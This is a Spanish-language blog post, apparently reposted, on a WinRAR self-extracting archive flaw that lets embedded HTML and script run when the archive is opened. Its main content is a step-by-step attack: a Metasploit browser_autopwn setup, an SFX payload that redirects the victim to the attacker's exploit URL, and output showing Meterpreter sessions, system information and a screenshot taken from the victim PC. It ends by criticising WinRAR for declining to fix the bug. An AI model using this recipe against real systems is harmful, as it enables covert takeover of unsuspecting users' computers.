Mostrando entradas con la etiqueta winrar. Mostrar todas las entradas
Mostrando entradas con la etiqueta winrar. Mostrar todas las entradas

miércoles, 21 de octubre de 2015

Cómo comprometer por completo la máquina de un usuario incauto que ejecute un WinRAR auto-extraíble

Hace unos días en Full Disclosure publicaban una vulnerabilidad de ejecución remota de código (RCE) en WinRar 5.21 y anteriores (confirmo 4.20 también). Concretamente, al crear un fichero autoextraíble con WinRAR (SFX), en la pestaña "Texto e icono" podemos incrustar código html y javascript que será procesado por el motor del navegador, Internet Explorer del sistema con compatibilidad IE7.

Reproducir la vulnerabilidad es muy sencillo. Seleccionamos uno o varios archivos y con el botón derecho pinchamos en "Añadir al archivo...". Luego en las opciones de compresión marcamos "Crear un archivo autoextraíble":



Luego pulsamos el botón "Avanzado" y en el cuadro del "Texto a mostrar en la ventana" de la pestaña "Texto e icono" añadimos el siguiente código:


<html><script type="text/javascript">alert('test');</script></html>



Al ejecutar el fichero autoextraíble veréis como se procesa el script:



A partir de aquí se nos abre un mundo de posibilidades. Empecemos por ejemplo insertando código para comprobar la versión y el agente de nuestro navegador:


<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://mybrowserinfo.com/detail.asp"></head></html>



Ahora viene lo mejor, vamos a comprometer por completo la máquina del usuario incauto que ejecute el WinRAR extraíble. ¿Cómo? La manera más rápida es mediante Metasploit y el modulo browser_autopwn, que nos carga automáticamente un montón de vulnerabilidades del navegador para obtener rápidamente una sesión meterpreter en el sistema vulnerable.

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set lhost 192.168.1.207
lhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set srvhost
192.168.1.207
srvhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set uripath /prueba
uripath => /prueba
msf auxiliary(browser_autopwn) > set srvport 6666
srvport => 6666

msf auxiliary(browser_autopwn) > exploit

[*] Auxiliary module execution completed

[*] Setup
msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host
192.168.1.207...
[*] ---


Ahora empezará a iniciar múltiples servidores. En mi caso hasta 20 exploits aglutinados en una única URL:

[*] --- Done, found 20 exploit modules

[*] Using URL: http://192.168.1.207:6666/prueba


Finalmente sólo tenemos que crear un fichero autoextraíble con código que llame a esa URL:


<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://192.168.1.207:6666/prueba"></head></html>

Y al ejecutarlo... ¡¡¡boom!!! obtenemos varias sesiones de meterpreter:

[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 2 opened (192.168.1.207:7777 -> 192.168.1.204:3109) at 2015-10-02 08:19:29 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 3 opened (192.168.1.207:7777 -> 192.168.1.204:3110) at 2015-10-02 08:19:30 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[-] Failed to load client script file: /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
[*] Meterpreter session 4 opened (192.168.1.207:7777 -> 192.168.1.204:3111) at 2015-10-02 08:19:30 -0400



msf auxiliary(browser_autopwn) > sessions -l

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  1   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3108 (192.168.1.204)
  2   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3109 (192.168.1.204)
  3   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3110 (192.168.1.204)
  10  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3117 (192.168.1.204)
  11  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3118 (192.168.1.204)


msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrador
meterpreter > sysinfo
Computer    : PCVICTIMA
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java


meterpreter > screenshot /tmp/victim.bmp
Screenshot saved to: /root/fdKuoNkp.jpe




Como habéis podido comprobar, a partir de una vulnerabilidad RCE hemos comprometido totalmente un equipo. Lo cachondo es que la respuesta oficial de WinRAR es que no va a solucionar el bug esgrimiendo que el formato SFX es un archivo ejecutable y por lo tanto el usuario es responsable de ejecutarlo.
 

De los 500 millones de usuarios de WinRAR ¿cuántos pueden imaginar lo peligroso que puede llegar a ser un SFX? ¡Gracias WinRAR!

Fuente: http://www.hackplayers.com/2015/10/comprometer-un-PC-por-completo-mediante-winrar.html